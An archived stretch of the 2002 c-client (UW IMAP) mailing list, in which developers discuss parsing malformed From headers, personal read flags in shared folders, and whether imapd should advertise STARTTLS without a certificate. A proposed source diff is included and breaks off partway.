X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Jan 2002 15:36:45 +0100 (MET), Axel Reinhold wrote: > The c-client lib does not parse this (maybe) not standard > From-header correctly: > > From: "Daniel Aimufua"daniel@albero-berlin.de There is no "correct" way to parse that; it's invalid syntax and non-compliant with the standards. The rule of "garbage in, garbage out" applies. c-client's guess of how to parse that garbage is as good as your guess. In some other cases, c-client's guess would be right. From pinedev@shivax2.cac.washington.edu Wed Jan 9 09:43:18 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jan 2002 09:43:18 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g09HhFV6008424 for ; Wed, 9 Jan 2002 09:43:17 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Wed Jan 09 09:43:09 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09Hh811000820; Wed, 9 Jan 2002 09:43:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09Hgex12914; Wed, 9 Jan 2002 09:42:40 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09HfUn149970 for ; Wed, 9 Jan 2002 09:41:30 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 09 09:41:28 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09HfSTA007717 for ; Wed, 9 Jan 2002 09:41:28 -0800 Message-Id: Date: Wed, 9 Jan 2002 09:40:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Steinar Kaaro Cc: c-client@u.washington.edu Subject: re: Personal flags in shared mailboxes? In-Reply-To: <21550242.1010588515@uall1062.ub.ntnu.no> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Do you want a personal "read" flag, or a global one? If you want a personal "read" flag, then the news driver in c-client will do that for you. Set up a news spool on your system and create a newsgroup for the shared mailbox, then access it as #news.mailboxname From pinedev@shivax2.cac.washington.edu Wed Jan 9 09:51:37 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jan 2002 09:51:36 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g09HpXV6011385 for ; Wed, 9 Jan 2002 09:51:34 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Wed Jan 09 09:51:25 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09HpOpr000313; Wed, 9 Jan 2002 09:51:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09HpEx04910; Wed, 9 Jan 2002 09:51:14 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09Hobn18646 for ; Wed, 9 Jan 2002 09:50:37 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Jan 09 09:50:36 2002 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09HoZVK027809 for ; Wed, 9 Jan 2002 09:50:36 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id g09HoYYD067966 for ; Wed, 9 Jan 2002 18:50:34 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g09HoYj00427 for ; Wed, 9 Jan 2002 18:50:34 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id SAA29086 ; Wed, 9 Jan 2002 18:50:33 +0100 Message-Id: <200201091750.SAA29086@seth.lpthe.jussieu.fr> Date: Wed, 9 Jan 2002 18:50:33 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[2]: Address parse error on weird From: header In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Jan 2002 09:34:46 -0800 (PST) Mark Crispin wrote: MC> c-client's guess of how to parse that garbage is as good as your guess. In MC> some other cases, c-client's guess would be right. Yes, but wouldn't it be better to leave the address as is instead of adding SYNTEX-ERROR and other ugliness to it? I have to undo this stuff manually now as I have no intention of showing it to the user and it seems pretty stupid. Besides, GIGO principle is really incorrect for the code like this. "Be conservative in what you send and liberal with what you receive" is a much better one IMO. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 9 10:36:11 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jan 2002 10:36:11 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g09Ia9V6002572 for ; Wed, 9 Jan 2002 10:36:10 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Jan 09 10:36:06 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09Ia511002653; Wed, 9 Jan 2002 10:36:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09IZlb20984; Wed, 9 Jan 2002 10:35:47 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g09IYin151844 for ; Wed, 9 Jan 2002 10:34:44 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Jan 09 10:34:43 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g09IYhVK008493 for ; Wed, 9 Jan 2002 10:34:43 -0800 Message-Id: Date: Wed, 9 Jan 2002 10:23:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[2]: Address parse error on weird From: header In-Reply-To: <200201091750.SAA29086@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Jan 2002 18:50:33 +0100 (CET), Vadim Zeitlin wrote: > Yes, but wouldn't it be better to leave the address as is instead of > adding SYNTEX-ERROR and other ugliness to it? All error indications (such as ".SYNTAX-ERROR") consist of a "host name" that has a leading ".". That indicates to the application that there was something wrong with the string that it fed to c-client to parse. This is how c-client tells the application that something was wrong, and gives the application a chance to say "whoa! Maybe we don't want to act on this data." > I have to undo this stuff > manually now as I have no intention of showing it to the user and it seems > pretty stupid. It "seems pretty stupid" to give the application, and possibly the end user, a clue that there is something wrong with the data? Most people would disagree. Most people think that it's "pretty stupid" to act on corrupted data as if nothing happened, with no warning to application or user. > Besides, GIGO principle is really incorrect for the code like this. "Be > conservative in what you send and liberal with what you receive" is a much > better one IMO. "Be conservative in what you send and liberal with what you receive" is often misquoted by people who fail to understand what Jon Postel meant when he said it. I knew Jon, and I was around when he said it. It *NEVER* was intended to indicate a requirement to accept non-compliant protocol, no matter how much the vendors of broken applications which transmit non-compliant protocol claim to the contrary. Instead, the correct interpretation is: "understand the full spectrum of what the protocol permits to be sent, but send only the subset that the majority of people actually use." In other words, "don't send odd-ball stuff, even if the protocol says you can; but be sure that you understand the odd-ball stuff if the protocol allows it." From pinedev@shivax2.cac.washington.edu Thu Jan 10 00:50:47 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jan 2002 00:50:39 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0A8oHV6017695 for ; Thu, 10 Jan 2002 00:50:25 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Jan 10 00:50:06 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0A8o511023276; Thu, 10 Jan 2002 00:50:05 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0A8ntx19402; Thu, 10 Jan 2002 00:49:55 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0A8mGn37962 for ; Thu, 10 Jan 2002 00:48:16 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Jan 10 00:48:16 2002 -0800 Received: from serv1.ub.ntnu.no (serv1.ub.ntnu.no [129.241.191.100]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0A8mEVK029491 for ; Thu, 10 Jan 2002 00:48:15 -0800 Received: from uall1062.ub.ntnu.no (uall1062.ub.ntnu.no [129.241.191.62]) by serv1.ub.ntnu.no (8.9.3/8.9.3) with ESMTP id JAA26948; Thu, 10 Jan 2002 09:48:10 +0100 Message-Id: <89137343.1010656092@uall1062.ub.ntnu.no> Date: Thu, 10 Jan 2002 09:48:12 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Steinar Kaaro To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Personal flags in shared mailboxes? In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you for quick response. It's a personal "read" flag that I want. I was suspecting that the news-driver was the only way of doing this, but I was hoping for a simpler solution. Doesn't the lack of such personal flags limit the usability of the #shared folders, or am I requesting something very special? --On 9. januar 2002 09:40 -0800 Mark Crispin wrote: > Do you want a personal "read" flag, or a global one? > > If you want a personal "read" flag, then the news driver in c-client will > do that for you. Set up a news spool on your system and create a > newsgroup for the shared mailbox, then access it as #news.mailboxname From pinedev@shivax2.cac.washington.edu Thu Jan 10 11:22:07 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jan 2002 11:22:07 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0AJM6V6006947 for ; Thu, 10 Jan 2002 11:22:06 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Jan 10 11:22:00 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0AJLx11004720; Thu, 10 Jan 2002 11:21:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0AJLa524360; Thu, 10 Jan 2002 11:21:36 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0AJHen15718 for ; Thu, 10 Jan 2002 11:17:41 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Jan 10 11:17:39 2002 -0800 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0AJHc3F014950 for ; Thu, 10 Jan 2002 11:17:39 -0800 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA01226; Thu, 10 Jan 2002 14:17:38 -0500 Received: from hickory by islet.zk3.dec.com (8.11.1/1.1.2.10/19Mar01-0238PM) id g0AJGn30000085844; Thu, 10 Jan 2002 14:16:49 -0500 (EST) Message-Id: <044e01c19a0b$7753e870$57008d10@zk3.dec.com> Date: Thu, 10 Jan 2002 14:17:37 -0500 Reply-To: "Peter Derr" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: Subject: imapd advertising STARTTLS without a certificate References: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I want to build and ship an IMAP server that can optionally be configured to use SSL/TLS, but it seems that starting in imap-2001, the c-client library's mail_open() function (and Pine) always tries to use TLS if it's built with that capability, unless explicity told not to with the hostname /notls option. If the IMAP server was built with SSL capability, but isn't configured to use it (e.g., no certificate), the connection fails. Is there some way to configure and/or modify impad so that it will only advertise the STARTTLS capability if it actually has a certificate? Thanks, Peter Derr Compaq Tru64 UNIX Internet Engineering Group Peter.Derr@Compaq.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 10 11:46:06 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jan 2002 11:46:06 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0AJk5V6004177 for ; Thu, 10 Jan 2002 11:46:05 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Jan 10 11:45:59 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0AJjwpr005053; Thu, 10 Jan 2002 11:45:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0AJjf405256; Thu, 10 Jan 2002 11:45:41 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0AJgrn32524 for ; Thu, 10 Jan 2002 11:42:53 -0800 Received: FROM mxu4.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Jan 10 11:42:53 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0AJgqVK027760 for ; Thu, 10 Jan 2002 11:42:52 -0800 Message-Id: Date: Thu, 10 Jan 2002 11:36:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Derr Cc: c-client@u.washington.edu Subject: re: imapd advertising STARTTLS without a certificate In-Reply-To: <044e01c19a0b$7753e870$57008d10@zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jan 2002 14:17:37 -0500, Peter Derr wrote: > it seems that > starting in imap-2001, the c-client library's mail_open() function (and > Pine) always tries to use TLS if it's built with that capability, unless > explicity told not to with the hostname /notls option. That is provably not true. The correct statement is: if imapd is built with SSL capability, it always advertises STARTTLS. > Is there some way to configure and/or modify impad so that it will only > advertise the STARTTLS capability if it actually has a certificate? There's no test for all the ways in which a certificate could be missing or invalid without doing certificate initialization unconditionally at all startups. That would introduce a performance problem; certificate initialization is expensive! I recommend instead that as part of your installation procedure, you generate and install a self-signed certificate and leave appropriate instructions on why it should be replaced with a real one. From pinedev@shivax2.cac.washington.edu Thu Jan 10 13:09:49 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jan 2002 13:09:48 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0AL9lV6030915 for ; Thu, 10 Jan 2002 13:09:47 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Jan 10 13:09:32 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0AL9V11007918; Thu, 10 Jan 2002 13:09:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0AL97b17776; Thu, 10 Jan 2002 13:09:07 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0AKZjn174898 for ; Thu, 10 Jan 2002 12:35:45 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Jan 10 12:35:44 2002 -0800 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0AKZhVK013213 for ; Thu, 10 Jan 2002 12:35:43 -0800 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA06812; Thu, 10 Jan 2002 15:35:43 -0500 Received: from hickory by islet.zk3.dec.com (8.11.1/1.1.2.10/19Mar01-0238PM) id g0AKYr30000086759; Thu, 10 Jan 2002 15:34:53 -0500 (EST) Message-Id: <04f301c19a16$5fb3c720$57008d10@zk3.dec.com> Date: Thu, 10 Jan 2002 15:35:41 -0500 Reply-To: "Peter Derr" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: "Mark Crispin" Cc: Subject: Re: imapd advertising STARTTLS without a certificate References: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > The correct statement is: if imapd is built with SSL capability, it always > advertises STARTTLS. ...which then leads to connections failures if the imapd doesn't actually have a certificate. > > Is there some way to configure and/or modify impad so that it will only > > advertise the STARTTLS capability if it actually has a certificate? > > There's no test for all the ways in which a certificate could be missing or > invalid without doing certificate initialization unconditionally at all > startups. That would introduce a performance problem; certificate > initialization is expensive! Something simple like testing whether the {SSLDIR}/imapd.pem exists was what I had in mind. A command option might be another possiblity. > I recommend instead that as part of your installation procedure, you generate > and install a self-signed certificate and leave appropriate instructions on > why it should be replaced with a real one. But, until you got a real certificate connections would continue to fail because of the default behavior of c-client that rejects self-signed certificates. A site that didn't want to enable SSL/TLS or spend the money for a real certificate would be out of luck. Peter From pinedev@shivax2.cac.washington.edu Thu Jan 10 13:12:25 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jan 2002 13:12:24 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0ALCNV6014804 for ; Thu, 10 Jan 2002 13:12:23 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Thu Jan 10 13:12:07 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0ALC711007994; Thu, 10 Jan 2002 13:12:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0ALBUb17090; Thu, 10 Jan 2002 13:11:30 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0AKrAn79002 for ; Thu, 10 Jan 2002 12:53:10 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Jan 10 12:53:09 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0AKr9TA011826 for ; Thu, 10 Jan 2002 12:53:09 -0800 Message-Id: Date: Thu, 10 Jan 2002 12:36:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Derr Cc: c-client@u.washington.edu Subject: Re: imapd advertising STARTTLS without a certificate In-Reply-To: <04f301c19a16$5fb3c720$57008d10@zk3.dec.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 10 Jan 2002 15:35:41 -0500, Peter Derr wrote: > > The correct statement is: if imapd is built with SSL capability, it always > > advertises STARTTLS. > ...which then leads to connections failures if the imapd doesn't actually > have a certificate. Yes, that is the case. Tell me, isn't it true that Digital UNIX doesn't work too well if certain files on /etc are erased? I'm not trying to beat up on Digital UNIX, but rather to point out that software can, and often does, have required files which must be installed for proper installation. I have been very aggressive on not making imapd have required files, but in the case of SSL/TLS-enabled imapd, the certificate file is a required file. > Something simple like testing whether the {SSLDIR}/imapd.pem exists was what > I had in mind. That isn't as easy to do as it sounds, and it doesn't check for all forms of certificate lossage. > A command option might be another possiblity. No good. Blame certain security packages for stealing the usability of argv. > But, until you got a real certificate connections would continue to fail > because of the default behavior of c-client that rejects self-signed > certificates. People can use /novalidate-cert, and applications (such as modern versions of Pine) can query on a self-signed certificate rather than reject it. > A site that didn't want to enable SSL/TLS or spend the money for a real > certificate would be out of luck. Such sites should install the non-SSL version. From pinedev@shivax2.cac.washington.edu Fri Jan 11 10:26:48 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jan 2002 10:26:46 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0BIQhV6031785 for ; Fri, 11 Jan 2002 10:26:43 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Jan 11 10:26:40 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0BIQd11002898; Fri, 11 Jan 2002 10:26:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0BIQ8525306; Fri, 11 Jan 2002 10:26:09 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0BINen43334 for ; Fri, 11 Jan 2002 10:23:41 -0800 Received: FROM mxu4.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Jan 11 10:23:40 2002 -0800 Received: from gateway.zk3.dec.com (nashua.zk3-x.dec.com [206.152.163.42]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0BINdVK012516 for ; Fri, 11 Jan 2002 10:23:39 -0800 Received: by gateway.zk3.dec.com; (5.65v4.0/1.3/10May95) id AA11174; Fri, 11 Jan 2002 13:23:38 -0500 Received: from hickory by islet.zk3.dec.com (8.11.1/1.1.2.10/19Mar01-0238PM) id g0BIMl30000099473; Fri, 11 Jan 2002 13:22:48 -0500 (EST) Message-Id: <05f801c19acd$168e1cf0$57008d10@zk3.dec.com> Date: Fri, 11 Jan 2002 13:23:37 -0500 Reply-To: "Peter Derr" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Peter Derr" To: "Mark Crispin" Cc: Subject: Re: imapd advertising STARTTLS without a certificate References: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_05F5_01C19AA3.2D31A6E0" X-Priority: 3 X-Msmail-Priority: Normal X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_05F5_01C19AA3.2D31A6E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Surely I'm not the only one who would like to distribute an easily installed, pre-built imapd that can be configured to use SSL/TLS, or not. > > Something simple like testing whether the {SSLDIR}/imapd.pem exists was what > > I had in mind. > > That isn't as easy to do as it sounds, and it doesn't check for all forms of > certificate lossage. I think it might be safe to assume that if an appropriately named certificate file for imapd is installed, the expectation is that it should work, and if it is not, it's not. Therefore, a simple, cheap check as to whether the certificate file exists before including STARTTLS in the capability string is reasonable and desirable. The complete initialization of the certificate can wait until a client actually wants to use it. It was pretty straightforward to separate out into a separate function the code that finds the certificate name in ssl_server_init() in osdep/unix/ssl_unix.c. I called the new function ssl_certificate_file() : /* Check whether a certificate file exists, and determine its name. * Accepts: server name, certificate name buffer * Returns: 0 for success, non-zero for failure */ int ssl_certificate_file (char *server, char *cert_name) Then I had ssl_server_init() call it and also, in imapd/imapd.c, pcapability() can call it to see if there is any applicable certificate file before including "STARTTLS" in the capability string (see below). It works great, checking for the address-specific or the general imapd.pem file name. I've done this with imap-2001a (diffs are attached) but I'd be glad to merge this into your latest imap-2002 snapshot and send you those diffs. (I'd also be glad to redo for imap-2002 the IPv6 diffs that I sent before.) Peter ------=_NextPart_000_05F5_01C19AA3.2D31A6E0 Content-Type: application/octet-stream; name="imap.diffs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="imap.diffs" Diffs between src/imapd/imapd.c and src/imapd/imapd.c (-r 1.2.2.15)=0A= =0A= =0A= *** In special diff script ***=0A= =0A= *** /local/derr/sandbox/ias/tmp//src/imapd/imapd.c.1.2.2.15 Fri Jan 11 = 11:52:38 2002=0A= --- src/imapd/imapd.c Fri Jan 11 10:47:10 2002=0A= ***************=0A= *** 3150,3158 ****=0A= if (!anonymous) PSOUT (" MULTIAPPEND");=0A= }=0A= if (flag <=3D 0) { /* want pre-authentication capabilities? */=0A= PSOUT (" LOGIN-REFERRALS");=0A= ! if (s =3D ssl_start_tls (NIL)) fs_give ((void 